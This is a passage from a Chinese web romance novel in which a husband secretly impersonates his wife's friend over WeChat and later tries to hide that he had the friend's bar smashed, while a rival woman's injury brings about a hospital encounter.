顾辽舟打了一个响指,赞一声:“爽快。”
“看来之前是我们低估嫂子的魅力了。”早知道从这下手,能让他这么利索,他能少走几个月的弯路。
温戍礼翻看文件:“滚!”
。
苏颂送餐过来的时候,温戍礼正在批阅文件,他很认真,可能是她开门的时候打扰到他了,他很不悦的说:“你很闲?”
他不欢迎的样子,让苏颂局促起来,解释说:“我敲门了,你可能没听到。”然后举起手里的食盒,“我……我给你送餐。”
她说得脸都红了,不是害羞,而是觉得丢脸。说:“我是很闲。”对比他日理万机,她就是条咸鱼。
苏颂心里哭。早知道不搞送餐的温情路线了,第一次就被嫌弃,打击信心。
温戍礼不是说她,他以为又是顾辽舟那个无聊的。但话已经出口,解释反而显得多余。
041 生活太究真,可能会失了真
“肖直会准备的。”虽然嘴上说着不需要,但他已经起身走过来,问她,“带了什么?”
苏颂介绍菜式:“芝士焗蟹、荔枝虾球,还有一点青菜,主食是鱼子酱饭团。”
一边说,她一边摆出来。
还挺丰盛。他看着她。苏颂被他看得心虚,不用他问,自己就招了:“奶奶说你这次请的经理人管理很厉害,谢谢你为苏氏做这些。”
“还有,对不起,我之前误会你了,还以为你不管苏氏了。”
他现在很反感听到她说苏氏,微微蹙眉,问出一个自己疑惑多年的问题:“苏颂,是不是我不帮助苏氏,你就不会对我这么好?”
他很想得过且过,装糊涂。但真正动了心的人,感性是大于理性的。
苏颂:“啊?”
但温戍礼不是普通人,他太理智、太理性了,问完他就收回了:“算了,你不用回答。”
是没意义,还是怕听到不想听的答案,只有他自己清楚。
苏颂觉得最近的温戍礼有点奇怪。问题的前提是“他不帮助苏氏”,他不想想,没有这个前提,他们也不会结婚啊。
温戍礼拿起筷子,看着那些饭菜,都很精致,但都不是她做的。
她做饭只属于饭不生,菜会熟,称不上美味,但好久没吃到了。
自从有天他休假,问她想吃什么,她说想吃臭豆腐,他质疑为什么好好的人会想吃跟排泄物同个味道的东西后,两人就辩论起来,最后他赢了,但她不做饭了。
有一年多了。
臭豆腐,真有那么好吃?温戍礼不由得想,又想暗戳戳的提醒她,送饭可以更有诚意一点。
“别让阿姨太麻烦。”
他是想让她自己做,但苏颂接收不到这个信号。
只见她很肯定的说:“不会,她本来就要做这些给我吃。你这次请的这个阿姨,太厉害了,做的饭菜都很香,比莲嫂好多了。”
说起这个阿姨的厨艺,苏颂赞不绝口,她最近窝在家,最期待的就是开饭时间。
温戍礼夹了一个荔枝虾球,轻哼一声,林美丽能真的给她安排什么好帮佣。
那是温家最差的帮佣,只会帮忙打扫清洁。
她算是分得清点好了。一天到晚傻乎乎的。
温戍礼心情好,慢条斯理的吃着饭,耳边听着她如报菜单一般的说着这些天,新来的阿姨都给她做了什么新菜式,倒也不觉得聒噪。
生活百味,但过到底的,都是白开水。太究真,可能会失了真。
。
温戍礼跟苏颂的日子又恢复以往的过着,很少联系,很少过问,晚上十一点,两人都会在家,做事的时候,他会做措施,苏颂也不那么排斥了。唯一不同的是,苏凤,苏奶奶来了。
中午的时候,苏颂到盛泰集团楼下等温戍礼,已经是初冬的气候,她穿着皮外套,在风中颤抖。
助理也看到苏颂了,诧异道:“太太来了,怎么不上楼?”他已经通知下去,太太可以随时随地进出总经办。
助理要出门去请,被温戍礼拦住,他把资料往助理怀里一拍,道:“我去。下午的行程取消掉。”
丢下这句话,他便往外走去,行色有几分匆匆。
助理见状,不由自主的嗑起CP来:“温总跟太太越来越相爱了。”
温戍礼快步走近,语气却如常:“天冷也不知道进去等我。都说我去接了奶奶就回去,偏要来!”
他难得语气里有了责备。苏颂一如既往的笑笑,她昨天刷到短视频说,撒娇的女人最好命。突然想试一试。
“我想跟你一起去接奶奶嘛。”不跟他争论的时候,她都是这样说话的,就是加多了个助气词。
果然,温戍礼回头看她一眼,不再多话,还给她开了车门。
看来,撒娇有用。苏颂在心里记笔记。
温戍礼也不知道自己为什么看她一个人站在外面就有点生气,最后归根在她的穿着上,在她上车的时候,因为动作,皮衣被提高了一下,露出衣服下,腰际的肉,他的外套同时披上。
苏颂坐好回头,说:“已经上车,不冷了。”
温戍礼:“我热。”
好吧,没情趣的直男是不懂撒娇暧昧的,哪里有用,不还是我行我素,一肚子火的样子!
不过苏颂捏着西装外套,到底没把衣服拿下来,披在自己身上。算了,她没想到外面这么冷,这会还真有点冻。
车子缓缓上路,后座的两人,一人穿着单薄,单手撑在扶手上,闭目养神。另一人穿着两件外套,侧头望着车窗外,唇边含笑,满心期待。
那一瞬间,睁开的眼朝她看去,洒进来的阳光,让画面充满温情。
车子经过南华街的时候,苏颂看到闫丽的店关着,想看清楚一点,结果车子已经开过去。
她赶紧拿起手机,给闫丽发信息:【丽姐,你今天没开店吗?】
“叮咚”身旁传来消息提示音,惹得苏颂看过去。
温戍礼好像真的睡着了,睁开眼,对上苏颂那双大眼睛,除了眼里有些血丝,依然很淡然镇定:“嗯?”似乎,是被她的动作给吵醒的,带着疑惑。
一个单音节,就把苏颂想问的话都打散了。她指了指他的裤袋:“是你的手机响了。”
那好像是聊天软件的提示音?可他不是不聊天的吗?
婚后第一年,温戍礼为苏氏的事情忙得四处飞,不是出差,就是在出差的路上,苏颂有时候想问苏氏的事情,又觉得打电话会打扰他,经常在他的聊天框里留言,但是他要过好久好久才会回一次,后来他说,他不用那个。
大忙人,忙到没时间闲聊,所以不用聊天软件,苏颂理解,于是到后来,不是要紧事,她都不会主动联系他,要联系就直接打电话,那会他渐渐不太忙了,但是他们联系的次数却越来越少了。
直到现在,没事一个月都可以不通电话。
苏颂不会猜想怎么自己刚给闫丽发消息,温戍礼的手机就刚好响了,是不是有关联,毕竟在她看来,两人不认识,毫无关联,自然不会想到闫丽的手机卡在他这里。
042 动不动就脸红的小妻子,私底下居然
她只是好奇,自律古板的老男人,居然有用聊天工具了而已。
不过好奇转瞬即逝,对温戍礼的事情,苏颂已经自动养成不多问的习惯了,她低头继续给闫丽发消息。
【你最近是不是有什么事啊?打电话你每次都没接到】
苏颂又点击发送,几乎同时,旁边又发出一个“叮咚”的消息提示音。
这么巧吗?
苏颂放下手机,觉得气氛莫名就变得有些尴尬,是不是她玩手机有点不礼貌?于是朝着身旁的男人笑了笑,没话找话的说:“机场快到了。”
温戍礼拿出手机,很泰然自若的将手机关了静音,开口:“苏颂,以后你可以给我发消息了。”
带着通知一般的口气,苏颂浅笑的应下,一如这三年来的温顺,但温戍礼想,她大概没听清。
他强调:“我是说,微信。”
苏颂明显讶异了一下,就在他以为她会问他怎么又有用这个的时候,她却依然只是笑着说:“好。”然后匆匆下车。
似乎,对这件事,没有太多惊讶。
温戍礼看着自己的手机,亮着的手机屏幕,上面有个消息通知框,显示的却不是他的V。
他把闫丽的手机卡,也装在自己的手机上了。
最近,都是他假装闫丽在跟苏颂聊天。
他本来只是想看看她们之间平常都聊些什么,并没有假冒她人的想法。
可是正当他看记录的时候,苏颂的消息发过来了。
她发了一张照片,照片上是一个食盒,是给他送饭那个,那天她给他送完饭回去,就跟闫丽分享。
【丽姐,我今天靠自己避免一场冷战了,我觉得自己越来越厉害了,快要能摸清他的脾气了】后面配一个得意的表情。
好啊,把他当战利品一样的炫耀?当时温戍礼有点气,结果她的消息又发过来。
【早知道他这么好哄,送个饭就行,我就每次给他做饭了就行了,不用最近搞这么多事了,没成功,还被他嘲笑,没品味的直男!】
她想给自己做饭了?他什么时候嘲笑她了?还说他没品味?不甘心被嫌的温戍礼就这样刷完了她们的聊天记录。
比他想象中的少很多,时间大概是一年前才开始的,但聊得频繁是最近一个月。并且聊天的不堪入目,不是在诋毁他不行,而是开黄腔。那个清吧老板很喜欢说黄段子,虽然苏颂没有跟着聊,但看得出,她不反感。
真想不到,在他面前,动不动就脸红的小妻子,私底下竟然喜欢跟女友人聊黄!
于是他当时鬼使神差的回【他嘲笑你什么了?】他只是一时没反应过来,就犯了这个糊涂。后面苏颂回复过来,说了是他居然嘲笑她穿情趣内衣的事情。
那会,温戍礼是被她气到了,于是又帮自己解释几句,一来二去,他就成了“闫丽”。
这些天,苏颂在家养脚伤,没去找闫丽,却时不时有消息过来。他只能硬着头皮假装下去。
不过温戍礼也不是一无所获,至少确定她们不是Lily,只是单纯聊得来的……朋友。
他猜想错了,可闫丽的店却已经被砸了。
不由得想起顾辽舟的话:你不问清楚,就不怕是误会?万一搞错了,以后被嫂子知道你砸了她朋友的店,那就大事了。
苏颂在前面快步走着,她想跑的,但考虑温戍礼在后面,还得注意点形象。她回头,说:“我们快一点,奶奶的飞机到了。”
她开心得有点忘了优雅,但温戍礼却看得有些怀念。脚步不由得加快了些。
他想起三年前,第一次见到她,当时他听说温泰要回来,不想留在家,结果经过门前走廊的时候,听见她说:“我是陪奶奶是来见故人的,什么小门大户的,难道温家人打交道的方式,只看钱不看情吗?”
她站在花园里,明明长得人比花娇,嘴巴却利得很,面对帮佣的窃窃私语,说她是小地方小企业来的小小姐,她丝毫不惧的回怼。
她以前应该也是骄纵的,温戍礼想。
“奶奶。”苏颂看到苏凤,快步上前,搂住老人家的胳膊。
“奶奶。”温戍礼也打了招呼。
这是他第二次这样喊她了,苏凤依然很激动,直夸:“好孙婿,苏氏多亏有你。”
知道苏凤这次来,有感谢他的意思。温戍礼也没有太谦虚,说:“我已经订了包厢给您接风,我们过去再谈。”
苏凤点头,连连说好。
她还带了一堆企划案来,她一个为苏氏兢兢业业几十年的敬业型女强人,可不是专程来闲聊旅游的,可是要跟孙女婿探讨一个企业未来,来给苏氏做规划的。
三个人,只有苏颂以为奶奶是真的来看她,笑得傻白甜。
温戍礼瞥见,又想,他会被骗了三年,也不能全怪他,因为苏颂是真的有点天真过头。
大概是身旁这位老人家的功劳,她宁愿用她年老的双肩去扛住苏氏,也没有把家族的压力转移到孙女身上,就算发现苏氏的危机已经到了她无法挽救的地步,苏凤的做法也是找一个人来接着扛——那就是他。
老人家把苏颂保护得太好了。
晚上,苏凤坚持住酒店,苏颂拗不过,想留下来跟奶奶一起住,却被苏凤拒绝:“都这么大人了,还跟奶奶睡,像什么样?
快回去,别让戍礼等。”
她就是不想跟温戍礼一起睡啊,那个男人,最近有点疯,像是被打开某个潜在开关一样,不仅夜夜要,还会变花样。
她有点受不住。
“现在戍礼已经到盛泰上班,生活稳定下来,不用到处飞,你们可以商量要个孩子了,之前……”
“奶奶!”
“好,我不说,你快回去。”
可是奶奶却一直将她往外推,嘴里还不停催生:“都这么久了,可以要了。”
苏颂最后还是被苏凤赶出来了,温戍礼在走廊等他。
这次奶奶来,他不仅安排接风,下午还推掉公事,带奶奶游玩了南城的标志性景点。
奶奶不想跟他们住一起,也不想太麻烦,他又给安排酒店,办理入住,做完这一切,又只在外面等她,给她们孙女两留说话的空间。
他今天做的一切,礼节周到,又细节拉满,让人无可挑剔,所以在他伸手的时候,苏颂的手搭了上去。
“回去吧。”
043 手机对面不是朋友,很可能是舍友
苏颂到家后,磨磨蹭蹭,磨磨蹭蹭,到了磨不下去才回房间。
一进门就发现温戍礼已经在房间了,最近他好像呆在书房的时间越来越少了。虽然他说的理由是,刚进盛泰不那么忙,但苏颂总觉得,他就是沉迷女色了。
两人结婚三年,真没有最近行房这么频繁的。
频繁到苏颂想请假!
看着温戍礼又去拉开床头柜,苏颂几乎下意识开口:“等等。”
男人回头,看她,默了一瞬后问:“不想用了?奶奶让你跟我生个孩子?”
他怎么知道?
“奶奶的确这样说。”
“所以你同意了?”
苏颂连忙摆手:“不是……”
温戍礼却像是看穿一切一样,轻哼一声,说:“奶奶是不是跟你说,我们的孩子关系到苏氏的未来。
所以,你确定你不想要?”
苏颂诧异:“你怎么都知道?”像是旁听她们的对话一样,他原来是躲在走廊偷听吗?
“你上次在温家没戴,我……”
见苏颂又提这件事,温戍礼有了恼火。
“我说过了,我养得起。我也没说过,有了不让你生下来。你不用每次提这件事。”好像他一次不做措施,一次酒后失控,就成千古罪人一样。可一牵扯上苏氏,又那么容易改变心意。
一次次让他知道,他就是因为苏氏才有价值而已。
他厌恶她的立场不坚定。
温戍礼以为,苏颂是被苏凤说服,打算要跟他生个孩子了。
结果苏颂否定了他的想法:“不是,我不是担心意外,我是想和你说,我来大姨妈了,没怀孕,而且,今晚也不能了。”苏颂的眼神盯在那个打开的柜子上,灵动间透出点藏不住得暗喜。
心里酝酿得风暴被中断的男人:“……”
。
不能夜里笙歌,他就换个夜夜笙歌的地方。King会所,顾辽舟本来今晚不打算过来的,结果听说温戍礼来了。
且还没开包厢,就坐在一楼的卡座里,那可是南城最矜贵的太子爷,可不能在他的地盘有半点闪失,只能丢下美人窝,火急火燎来了。
顾辽舟过来的时候,看到温戍礼一个人坐在那,西装革履的,还每颗衣扣都扣得严严实实的,怎么看,都显得这位爷跟这里格格不入。
“嘿,今晚怎么回事,温大少不用守门禁了?”已经快十一点了,顾辽舟觉得稀奇,打趣他。
“回去又能干什么?”温戍礼靠在那,闷不伶仃一句话,让还在可惜今晚春宵泡汤的顾辽舟乐了。
他瞬间来了兴趣,在温戍礼旁边坐下:“啊哟,秒懂怎么办。要不,给你安排一个,小红怎么样?”
温戍礼打开搭在他肩膀上的手,眼神冷得能冻死人。顾辽舟见好就收,讪讪的摸了摸鼻子。
“我说你动心就动心,别扭什么。”三天两头这样,他也好累。
这个甲方太难伺候了。
顾辽舟说:“喜欢就说。男人追女人又不丢人。”至于搞得自己惨兮兮的。
要不是见识过,顾辽舟是不会将“温戍礼”跟“可怜”联系在一起的。但那晚,他喝了一整晚,念叨了“苏颂”一整晚,真让顾辽舟看到可怜。
果然,爱情是可怕的!
“我说得还不够直接吗?”难道真的得要他求她,要个孩子?
音乐有点大声,温戍礼又说得小声。顾辽舟“啊”了一声,再靠近他一点,只听到他说什么“孩子”。
“我去,我没听错吧?你竟然是想当爹了。”对于顾辽舟这种计划不婚主义的人来说,对孩子简直是避之不及。他看着温戍礼的表情,称得上惊恐。
温戍礼失神一会就回神了,他来这里等顾辽舟,是有别的事的,他说:“找找对面那个女人在哪,把人弄回来,再把店恢复原貌,给你三天时间。”
苏凤要在这里住三天,他顶多拖着三天,让苏颂不过来找人。
亡羊补牢不是最好的办法,但却是最有用的办法。温戍礼想在苏颂发现之前,让闫丽跟她的店恢复原样。
“问问她,多少钱可以闭好嘴,我要一切没有发生过。”
到时候苏颂就不会知道,他踹过她朋友的店了。
。
隔天,苏颂因为痛经在家,打电话跟奶奶说了,她希望奶奶来看她,哪知道她奶奶要去盛泰参观,只说了让她好好休息就挂了,显得公事比孙女重要。
理解是一回事,感性又是一回事。特别是一不舒服,人就容易脆弱,苏颂看着黑屏的手机失神,忽然,内心涌起一种难以言喻的酸涩感,让眼睛都觉得酸胀起来。
“太太,你怎么哭了?”阿姨给苏颂端了生姜红糖水过来,见状,有些焦急,问,“肚子很痛吗?要不我给先生打个电话,叫他回来。”
苏颂已经抹掉眼泪,阻止说:“不要。不用给他打电话。”她笑笑,“他很忙,今天还要带奶奶参观,不要打扰他了。我不是很痛,喝完这个就好了。”
主人家都说不用了,阿姨也不好再多嘴,转身去厨房洗菜了。
可苏颂喝着糖水,伴着滚热的温度下肚,人也舒展一些。喝了半碗,她一手端着剩下的半碗糖水,一手拿起手机开屏。糖水配聊天。
【你要是在这边,我就去找你了】
她给闫丽发了消息,她在这边没有朋友,而闫丽是她唯一可以放心倾诉的老朋友。
收到这条消息的时候,温戍礼在办公室,正在落地玻璃前俯瞰这片商业区,手机响了,一看,是苏颂给闫丽发的消息。
这条信息的上一条是【我出门几天,店没开】,为了瞒过清吧的事情,温戍礼生平第一次撒谎。
他编了个谎言,也想让苏颂不去找闫丽。
看完这条信息,温戍礼回【?】
【丽姐,我发现你的回复风格有点像温戍礼了】
这句话让男人顿了一下,瞬间反思,就一个问号,怎么能断定?温戍礼正想着打字问她怎么会这样想,她的消息又发过来。
【能不说话就不说话,能用符号的,绝对不打字。我愿称之为简·温】
044 遭,情敌出现,要坐不稳温太太的位
仅仅只是文字,都让人感受到了风趣,这是身为“温太太”没有的。
看着看着,温戍礼刚毅的面部表情有放松的迹象。
简·温?
亏她想得出来,这是他第一次知道自己在她这里的形象。不过他确实很少打字聊天,在他看来,闲聊就是浪费时间,没必要花费太多精力。
压抑了一晚上的心情好了些,温戍礼快速打了字,发送过去。
【怎么了吗?说要来找我】
助理进来的时候,发现一大早就阴沉躁郁的上司对着手机在微笑,刚放松警惕,下一秒,又看到上司黑沉的脸色。
速度快得,好像手机那边发来什么爆炸性的信息。
肖直谨小慎微,脑子快速运转,琢磨着语气,开口:“温总,苏董事长快到了。”
“那就到了再说。”
这个态度,让肖直惊诧,明明昨晚给他打电话通知的时候,还要求他务必今天要安排周到,今早上司一来也是让他招待要做好,还推掉早会等着,很重视的样子,怎么就……
见上司又开始打字,甚至还抽出另一手加入,两手翩翩飞舞,像是准备跟对面激烈讨论。
上司这是在跟人聊天?不是吧!上司是最瞧不起人把时间浪费在闲聊上的。
手机上,苏颂发过来的消息说【我跟温戍礼的婚姻大概要结束了】
这话踩中他的要害,因为在他爸妈离婚那一天,他就决定,自己以后结婚了,肯定不会离婚。
她不是还装贤惠,还装贤良吗?这么快,就想结束了?还是,只因为这次苏氏的危机,有人解围,那个人不是他,所以认为不需要他了!
男人的内心很精彩,打出来的字却删了又写,写了又删,因为他没立场质问,现在,他是“闫丽”,苏颂的倾诉对象。
【为什么?】他问。
【昨晚他超过十一点回家了】
内心刚激昂愤怒,大风大浪过的温戍礼,像是被打了一个急刹车,平息不下来,又发泄不出去。
就因为这个?太儿戏了。
不过他昨晚为什么晚回?有一半是气她善于伪装,有一半,是顾辽舟太晚到了,等他说完回,就耽误了点时间。
他是个男人,在外也需要面子,事情还没办好,就顾着门禁回家,他也不想老是被顾辽舟取笑。
回去后,他想,她要是问,他就解释一下,毕竟自己这样,也算违约,哪知道,她已经睡了。
还以为真睡了,现在看来,她当时只是在装睡。
两个人就这样置气起来了。但,不到过不下去的地步。
苏颂找闫丽,就是为了倾诉这件事,这会消息一条接着一条的,像是被打开的话匣子。
【从我们约定好只要他不出差,晚上十一点前就要回家,已经一年多了,他都做到了,昨晚是第一次超过十一点回家,这信号还不够明显吗?】
【他真烦我了,不想跟我过了】
温戍礼:“?”他哪有。
【你这样太草率了】能不能别一点事就胡思乱想。可温戍礼刚觉得这事是小事,苏颂就有爆了个大事。
【他烦我的信号又不是第一个了,上次三天不回来,还把莲嫂叫回温家,就是在提醒我了,害我发烧都没人管,还好当时有你给我买药。要不然我坟头都长草了】苏颂后面配个上吊吐舌的动态表情。
居然还有心情嘻嘻?事关生死,就不是小事。
但是这事温戍礼完全不知道。他把莲嫂叫回去,是因为发现那人一心二主,不能留了。
助理肖直接了个内线,对温戍礼说:“苏董事长已经到了。”
“知道了。”
男人一边走,一边看着手机,肖直从没见过上司对聊天这么专注过,好奇驱使他伸长脖子,瞥见备注【颂颂】,是太太吗?是太太吧,原来上司给太太的备注是这样的啊,还真亲昵。
肖直偷笑,脚步跟上,心想,原来是跟太太聊天呢,难怪这么腻歪。
婚后恋,也很甜呢。
肖直不知道的是,温戍礼现在可不是跟苏颂在调情,而是在解开误会。
但要怎么解,以他是“闫丽”的身份就无解,莫名的,他很肯定,如果现在跟苏颂聊天的真的是闫丽,那个女人肯定会让苏颂离了算了。
他第一眼看到那个女人,就觉得那个女人不是什么好女人,会带坏苏颂。
一向平和的心态难得有些烦躁,以至于他进了员工电梯都不知道。
肖直想提醒,已经来不及了,温戍礼已经进去,自己只能赶在电梯门关上的时候,也进去。
【那是你不知道他那人。昨晚我们又闹了】
【不知道是不是我的错觉,我觉得他昨晚的意思,是想我生个孩子】
【可是他上次明明说不想的】
说“不想”,那还不是被她气的。连跟他做都那么勉强,还有心跟她生孩子吗?
苏颂最近老是说他羞辱她,事实上,感到被羞辱的人,是他。所以他最近变着花招,增加频率,就想她也沉沦下来,渴望他的身体。
面对这个话题,温戍礼屏气凝神,很是专注认真的回【你们结婚三年了,可以要了】
假扮她人,也不是全没有好处,至少这句话,他可以毫无负担的说出来。
要个孩子,也许他们之间的误会就没有了,他的心结,也许就解了。
“戍礼哥,你在跟谁聊天吗?”
是陈曼曼。
距离那晚在King见到,已经过去一周了。
温戍礼这才发现,自己走错电梯了。他责备的看了肖直一眼。
肖直:冤啊,不是他的问题。
“你怎么来了。”温戍礼收起手机,手也一起伸进裤袋里,又恢复往常一副清贵高冷的姿态。
“阿叙说今天苏老夫人要来盛泰参观,我之前常听我爷爷说起,说云城的苏老夫人是巾帼不让须眉。
在那个时候,女子继承家业,面对的争议很大,可老夫人不仅力排众议,还把刚经历过乱世的小工厂发展成后来的茂盛电子公司,是个令人敬佩的人。
所以我就想来看看,待会再斗胆,让老夫人帮我把这点东西带给阿叙。”
045 他的冷,源自两年前的误会
陈曼曼说得自然又腼腆,显然也知道这样做不太符合规矩,想要借用一点情面。
她将手里的东西提高了些,是南城本地一些干制特产。陈曼曼的男友是华裔。
“你不介意吧,戍礼哥。我刚才是想上前先经过你同意的,然后你就进来了。”陈曼曼问得小心翼翼,她本就长得柔美,配上一身改良旗袍,本应该温婉端庄,这会却透出点不安,平添几分让人想怜惜的美。
陈曼曼是懂得利用自身优势的。
温戍礼收回视线,如果真的知道这样做不对,一开始就不会来。
电梯已经到达一楼,温戍礼看到肖直跟内线对接了,说明苏凤已经到达。
他抬步出电梯:“把东西交给肖直,你看一眼就走。”
现在出门,刚好见到,然后可以直接离开了。温戍礼是不想追究,索性给她个顺便的福利。
但陈曼曼却不是这样想的,她的笑容依然是温柔的,却敛不住此时内心的激动。她认为,她得到了特待,她在温戍礼这里是不同的。这让她很高兴。
带苏凤参加完已经是两个小时后的事情,还是考虑到苏凤年事已高,只选了几个代表性的区域参观。
参观后的苏凤有很高的兴趣,坐下来后,又问了很多,最后温戍礼让肖直把一些内部资料拿过来。
老人家一开始说不适合,后来却看得很投入。
温戍礼也才空闲下来,拿出手机,打开聊天界面,看到那句话,却手心一紧。
【其实我跟他,有过一个宝宝的】
从没有慌过神的男人,脸色一变,内心巨骇,随着掌心的汗越来越多,他也察觉到整个人的不对劲……
心跳快得要失常。
“戍礼?”苏凤一连喊了好几声,温戍礼才听到。她指了指文件上的内容,“这个说的是……”
“奶奶。”温戍礼却出声打断了她的话,“我有一件更重要的事情要问您。”
戴着老花镜的苏凤看他,只觉得今天的孙女婿有点不一样,刚开始还以为是他在公司,碍于身份,现在看来,是心不在焉。
苏凤说:“你问。”
温戍礼开口,觉得喉间很涩,然后才听到自己的声音。
“你知道苏颂怀孕过吗?”
。
郊外,顾辽舟在一栋小别墅找到了闫丽。
看着面前的小楼,顾辽舟咬着烟,眯眼:“这娘们,没离开南城?”
他吐掉香烟,带着人闯进去,大铁门也就虚掩着,似乎不担心会被“冒犯”。
顾辽舟很顺利的进门,眉头拧着,观察四周,院子里什么都没有,花圃剩下泥土,水池只有喷泉眼,干得连滴水都没有。周围静悄悄的,被他们十几个人闯进来,也没有任何动静。
这让从小熟读兵法的顾辽舟,莫名想到空城计。
他吩咐手下:“都小心点。你们两个,先进去看看。”
小心驶得万年船,他到现在都没摸清闫丽的底,要不是那个女人路子野,就是大有来头。
“怎么,来都来了,这会倒是不敢进来了?”屋里传来女人的嗤笑声。
是闫丽的声音。
顾辽舟带着人走近,哪知道大门居然还是感应的,自动开了。
草,谁家进屋的大门装自动的!把他吓一跳。
敞开的大门,让他顺利看清屋里的环境,入眼就是一个晃眼的东西,十几米高的水晶吊灯,从三楼垂到一楼大厅,配上旁边的实木旋转楼梯,一股老钱风的豪气扑面而来
这别墅,别有洞天啊!
此时,三个小姑娘正围着闫丽,一个给她捶肩,一个给她捏腿,还有一个给她端茶送点心,这画面……
很容易引起人的仇富心里。
确定里面没有壮汉保镖之类的,顾辽舟自己走进去。
废话,这个女人都这样嘲讽他了,他还能带着一堆男人面对四个女人?
传出去,他顾大少不要混了。
“你胆子很大!”让她离开,她居然躲在这里享受。真以为最危险的地方才是最安全的地方?
他一让人找,就找到了。
不过当时有被气到就是。
感到被瞧不起的顾辽舟一口气喝完闫丽壶里的茶。愤愤地说:“我也不跟你计较了,店面我已经让人恢复了,你继续回去开店。”
闻言,闫丽嗤笑一声:“姓顾的,你太把自己当东西了。”
“你!”
顾辽舟刚拍桌,离他最近的那个端茶的小姑娘一把就抓住他的手腕,速度很快,力道很大。
是个很厉害的练家子!
一出招,顾辽舟就知道自己不是对手。大意了,真麻痹!
闫丽笑得妖媚招展,开口:“别吓到我的客人,都下去吧。”
等只有他们两人的时候,顾辽舟问:“你到底是什么人?”
“别每次都把时间浪费在同一个话题上了。说吧,要我回去干什么?”
“苏颂找你。”
“颂颂?”
闫丽凤眼一转,瞬间明白过来什么:“不是你不让我开店,而是温戍礼?”
顾辽舟道:“叫你乱招惹人,你不安分,就要付出代价。”
“哦,那我不回去了。”闫丽双手交叉放在胸前,晃着平放的脚,一副“你不好好说话就别谈了”的姿态。
顾辽舟咬牙,温戍礼真给他安排了个麻烦事。
咬牙归咬牙,事还得办。
他压着脾气,说:“你需要多少补偿,都可……”以。他话还没说完,闫丽已经站起来。
“早说啊,有钱万事可商量,就随便一百个就好了,最近穷死了,连院子都没办法叫人来打理,住这里连个鬼影都没有,还是回店里,有颂颂聊天最好了。
走吧。”
人已经水灵灵的往门口走了。
已经做好准备磨口水的顾辽舟惊愕:就这?
再看看这沉香实木十八件套,享用价值九位数家具的人喊穷,那才是真见鬼了。
算了,人请得回去就行了。一百万,温戍礼有。
。
温戍礼跟苏凤聊完,很快的下楼,这一刻,他想见到苏颂,可刚到楼下,就听到保安急匆匆进来前台说。
“有个女的被撞了,跟我们新上任的总裁认识。”
046 白月光的杀伤力,是心软
听到这里,温戍礼快步走出去。撞人的是对面楼一家外企的高管,正骂骂咧咧的下车。
“找死也不看地方,脏了我的车。还不快起来,我这车,纯进口的,单关税都要了我五十个W,弄坏了你赔不起。”说着,那个人边骂边过去,伸手就要去拖人。
“住手!”温戍礼拨开人群走过来,看到的是陈曼曼躺在地上,两手捂着膝盖,痛苦又害怕的样子。
是她。温戍礼还以为是苏颂,当听到车祸,又听到有人说跟他认识的时候,他不知为何就想到自己的小妻子,可能是那一晚真被她吓到了。
他松了口气,却没有不管。这种情况,如果没人帮她出面,陈曼曼只会被欺负。
“戍礼哥,我好痛。”陈曼曼喊他,眼泪流了下来。像是见到可以依附的人,完全放松下来,委屈也就出来了。
“你看,我就说这女的认识我们总裁。”保安带着人赶到,为自己正确的判断洋洋得意。
那个高管认出那是盛泰的保安,再看温戍礼的眼神全变了。顿时笑脸相迎:“我早听说盛泰新上任了CEO,既然都是认识的,那就好说。”
摆明了想跟温戍礼套近乎,甚至要以此制造个人情。可他老道错人了。
温戍礼并没有把他放在眼里,直接的说:“认识跟事故是两码事,该怎么处理就怎么处理,定责的话,附近都有监控,360度无死角,够还原真相了。
但我看到你刚才还想对我朋友动手,在盛泰的门口,欺负盛泰的合作伙伴。
回头我会问问寰宇的老总,是不是对我们盛泰有意见。”
上升到两个大公司的事情,就不是事故了,可能他的职业生涯都完了。那位高管被吓得脸色苍白,冬季的时节,额头的汗都冒出来了。
温戍礼却不理会他的失态,走近,问陈曼曼:“你还能走吗?”
陈曼曼哭丧着脸摇头,一副我见犹怜的样子。
温戍礼回头想叫保安来把陈曼曼抱上车,可陈曼曼却先开了口:“戍礼哥,你能抱我上车吗?有人在拍照。”她低着头,抬手虚掩,不想被拍到。
考虑到陈曼曼的处境,温戍礼到底还是亲自把她抱上车了,但他没上车。
车上的陈曼曼又说:“戍礼哥,你能送我去医院吗?我不想被家里人知道,你知道我家里人的情况……告诉夏叙的话,他就算现在过来,也要傍晚才到了。”
“夏叙走不开。”夏叙是陈曼曼的男朋友,也是温戍礼为苏氏新聘请的职业经理人,苏老太太刚把公司交给他管,他肯定走不开,也不能走开,苏老太太人还在这!
温戍礼抬手看表,他很迫切想回去见苏颂,但陈曼曼的事情,也挺急切。膝盖的血已经渗透了她的浅色旗袍。
“我送你去。”最后,温戍礼说。
这边,苏颂感到肚子越来越痛,最后有点难撑,只能让阿姨打电话给温戍礼,她不想自己打,心里还在气。
她捂着肚子,蜷缩在沙发上等。哪知道阿姨打完电话说:“太太,先生说他现在有事,晚点再回来。”
她奶奶是这样,他也是这样,都没有把她放在第一位。苏颂起身,要下地,但整个人有些虚脱,还好阿姨眼疾手快的接住她。
“太太……”
“送我去医院。”
好在这个阿姨会开车,把苏颂送到医院来。
痛经,是一阵一阵的,苏颂现在已经不怎么疼了,其实她完全可以等温戍礼回来,但她都让人打电话了,他还不回来。
人一不舒服就爱耍脾气,苏颂心里怄气,就想证明,她不用靠他也可以!
冲动是魔鬼。因为苏颂这会后悔了。
她坐在走廊的椅子上排号等,头后仰靠在墙上,有人因为痛经看医生的吗?这种事能看好吗?她等会进去应该怎么跟医生说?
在她胡思乱想的时候,去挂号回来的阿姨兴致冲冲的说:“太太,先生来了。”
苏颂把头低下来,说:“不可能,我又没有告诉他。他还在公司忙呢。”
可能是奶奶去参观,两人聊得来,所以又有别的事情忙呢。温戍礼说他有事,苏颂只当他是公事,所以当她看到他扶着一个女人经过的时候,很不可置信。
刚刚还强调自己没看错的阿姨,这会很识相的闭嘴。
天啊,先生不是来看太太的,怎么还陪了别的女人。她好像知道了一个大秘密。
震惊让苏颂忽略了肚子的疼,两脚快速交替,看起来精神也好了。阿姨不放心的跟着,紧随其后。
苏颂追到走廊尽头,只见温戍礼带着那个女人去到侧边的医务室。
“包扎一下就好了,有点疼,忍忍。”
他垂眼看着那个女人,语气低和地叮嘱着。苏颂在这个角度只能看到他的侧脸,看不清他现在是什么表情,可一想到自己,每次生病都只能自己扛,他从没有出现过,现在却对另一个女人这么温柔,她就感到难受。
苏颂拿出手机,拨出电话。
她想问问,他到底是谁的丈夫!
